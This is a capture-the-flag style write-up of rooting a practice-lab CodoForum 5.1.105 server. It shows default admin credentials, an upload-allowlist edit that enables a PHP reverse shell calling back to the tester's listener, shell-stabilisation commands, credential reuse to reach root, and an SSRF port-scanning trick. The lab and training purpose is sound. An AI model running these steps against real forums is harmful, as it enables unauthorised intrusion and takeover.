Target: 192.168.153.23 Platform: PG Practice OS: Ubuntu 20.04 Difficulty: Easy (10 points) Result: Root
Summary: CodoForum 5.1.105 running on Apache. Vendor-default administrative credentials ([REDACTED]) grant access to the admin panel. From there, the global-settings logo upload is abused to write a PHP reverse shell to a web-served directory, yielding a www-data shell. The CodoForum database password stored in config.php is reused for the system root account, giving a trivial privilege escalation via su.
The intended-looking upload vectors that appear in most public writeups (the category icon upload and the smiley upload) do not work on this instance - both accept the file, report success, and silently discard it. The only upload that persists to disk is the forum logo under Global Settings. That detail cost significant time and is the main lesson of this box.
1. Reconnaissance
Full TCP scan found only two open ports.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7
80/tcp open http Apache httpd 2.4.41 (Ubuntu)
SSH is current and unremarkable; the web app is the whole box. A loopback port scan performed later (via the SSRF in section 6) confirmed that only 22 and 3306 listen internally - there is no hidden service to pivot to.
Fetching the root of the site identifies the application immediately. The homepage embeds a codo_defs JavaScript object that leaks the application layout:
duri: http://192.168.153.23/sites/default/
title: All topics | CODOLOGIC
The sites/default/ base path is worth noting early - it is where uploaded assets are served from.
A passive observation from the scan and the initial response: the PHPSESSID cookie is set without the HttpOnly flag (finding, see section 8).
2. Application fingerprint and default credentials
Browsing to /admin presents the CodoForum admin login. Default credentials work:
Username: admin
Password: admin
The admin dashboard reports the exact version:
Current version: V.5.1.105
CodoForum 5.1.105 is affected by CVE-2022-31854 (unrestricted file upload in the admin panel). That CVE is the conceptual basis for the foothold, though the specific upload field that works here differs from the public PoC.
3. Dead ends worth documenting
Before the working path, several plausible vectors were tested and ruled out. Recording these matters for a report's scope-of-testing section and saves the next person time.
- Category icon upload (
page=categories) - accepts a.phpfile withContent-Type: application/x-php, returns "New Category Created!", but the file is never written to disk. Requesting it undersites/default/assets/img/cats/returns 404. The default theme also has category images commented out, so nothing renders to leak a path. - Smiley upload (
page=ui/smileys) - same behavior. "Smiley saved successfully" is returned, the stored<img>path still points at the originalworried.gif, and the uploaded file 404s. A control upload of a plain.gifalso failed to persist, proving the form writes nothing regardless of file type. - Plugin install (
page=plugins/plugins) - a fixed list of bundled plugins with no upload or install-from-file option. - Block "Plugin" output type (
page=ui/blocks) - submittingblock_type=pluginwith an arbitraryplugin_namefails silently and stores a type-less block that renders nothing. No file-path error, so no LFI. - Admin and front-end routers - both
index.php?page=<x>andindex.php?u=<x>are whitelisted. Traversal payloads (../index,....//index) return byte-for-byte identical responses to a plain typo, confirming no path is built from the parameter. - SSH credential reuse - The application's default administrative credentials and other guesses do not work over SSH. Forum credentials live in a MySQL table, not
/etc/shadow; they are unrelated to system accounts at this stage. - MySQL
LOAD DATA LOCAL INFILEvia a rogue MySQL server (see section 7) - the handshake completes and the target requests the file, but the client returns an empty result (\x02), meaninglocal_infileis disabled. Technique closed on this target. - Cron endpoint (
index.php?u=/Ajax/cron/run/<job>) - returns an empty body for both valid and invalid job names; no differential, no useful behavior. - UI Themes: activation buttons only; no upload or path input.
4. The working vector - Global Settings logo upload
Global Settings (page=config) contains a logo upload field (forum_logo) and, critically, the three settings that govern all attachment uploads:
forum_attachments_path assets/img/attachments
forum_attachments_exts jpg,jpeg,png,gif,pjpeg,bmp,txt
forum_attachments_mimetypes image/*,text/plain
Two things distinguish this form from the others:
- It actually writes the uploaded file to disk under
sites/default/assets/img/attachments/, preserving the original filename. - The allowed-extension and allowed-mimetype lists are themselves editable fields on the same form.
Step 1 - confirm the form persists files. Upload any file as the logo (a .gif copy of the payload was used) and verify:
curl -sI http://192.168.153.23/sites/default/assets/img/attachments/shell.gif
HTTP/1.1 200 OK
A 200 here is the breakthrough - this is the first upload on the box that survives. A .gif will not execute (Apache only hands .php to the interpreter), so it serves as an image containing PHP source. That is expected and simply proves the write primitive.
Step 2 - widen the filter. Because the extension and mimetype lists are user-controlled, add PHP to both:
Allowed Upload types (forum_attachments_exts):
jpg,jpeg,png,gif,pjpeg,bmp,txt,php
Allowed Mimetypes (forum_attachments_mimetypes):
image/*,text/plain,application/x-php
Save the settings.
5. Foothold: reverse shell as www-data
Prepare the payload (adjust LHOST to your VPN address):
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
sed -i "s/127.0.0.1/<LHOST>/; s/1234/4444/" shell.php
sed -n '49,50p' shell.php # confirm $ip and $port tookStart a listener:
rlwrap nc -lvnp 4444Upload shell.php as the forum logo through Global Settings (the widened filter now accepts it), then trigger it:
curl -s http://192.168.153.23/sites/default/assets/img/attachments/shell.phpThe curl hangs - that is the shell connecting back. The listener receives:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Stabilize the shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# press Enter
export TERM=xterm6. Privilege escalation: credential reuse
The database password lives in the CodoForum config, readable as www-data:
cat /var/www/html/sites/default/config.php$config = array (
'driver' => 'mysql',
'host' => 'localhost',
'database' => 'codoforumdb',
'username' => 'codo',
'password' => '[REDACTED]',
...
);The database service password is reused for the system root account:
su -
# password: [REDACTED]root@codo:~# id
uid=0(root) gid=0(root) groups=0(root)
root@codo:~# cat /root/proof.txt
[REDACTED ROOT FLAG]
Rooted.
7. Appendix - the rogue MySQL server detour
Before finding the logo upload, an alternate file-read path was explored through the Importer (page=system/importer), which takes database connection details and connects out to a host of the tester's choosing. This is a genuine SSRF (see finding 4). It was pointed at a rogue MySQL server on the attacker box to attempt LOAD DATA LOCAL INFILE, which can coerce a connecting client into sending arbitrary local files.
The mechanism worked end to end - the target authenticated to the fake server, received the file request, and responded - but every response was an empty \x02, indicating the PHP MySQL client has local_infile disabled (the default on modern mysqlnd). The technique is therefore closed on this target.
Two things came out of the detour that are still useful:
- Internal port scan via the Importer. The
db_hostfield acceptshost:portsyntax even though the form exposes no port field. A response of SQLSTATE1698(access denied - MySQL answered) versus2002(connection refused) distinguishes open from closed ports. This confirmed only 22 and 3306 listen on loopback. - Stack-trace disclosure. Connection failures return full exception traces including absolute paths and the bundled Illuminate/Laravel database component under
/var/www/html/sys/vendor/(finding 6). This also confirmed the webroot as/var/www/html.
8. Findings summary
| # | Finding | CWE | Notes |
|---|---|---|---|
| 1 | Default administrative credentials ([REDACTED]) |
CWE-1392 | Grants full admin panel access; root cause of the whole chain |
| 2 | Unrestricted file upload → RCE | CWE-434 | Global Settings logo field + user-editable extension allowlist |
| 3 | Credential reuse: DB password reused for system root | CWE-522 | The database password in config.php is reused for the root account |
| 4 | Authenticated SSRF via Importer db_host |
CWE-918 | Accepts host:port; usable as an internal port scanner |
| 5 | Stored XSS via admin block editor | CWE-79 | HTML block renders raw on the public front page; chains with #6 below |
| 6 | Session cookie without HttpOnly | CWE-1004 | PHPSESSID; materially worse combined with the stored XSS |
| 7 | Verbose error / stack-trace disclosure | CWE-209 | Full paths and framework internals leaked on DB connection failure |
Primary chain: #1 → #2 → #3 → root.
9. Lessons
- The published route was wrong for this instance. Multiple walkthroughs point at the category-icon upload; it silently discards files here. Enumerating every upload surface in the admin panel (rather than trusting a writeup) is what found the logo field that actually writes to disk.
- "Success" messages are not evidence. Three separate forms returned success and stored nothing. The only reliable confirmation was requesting the file back and getting a 200.
- When a form lets you edit its own validation rules, that is the vulnerability. The extension allowlist being a user-controlled field on the same page as the upload is what turned a benign logo feature into RCE.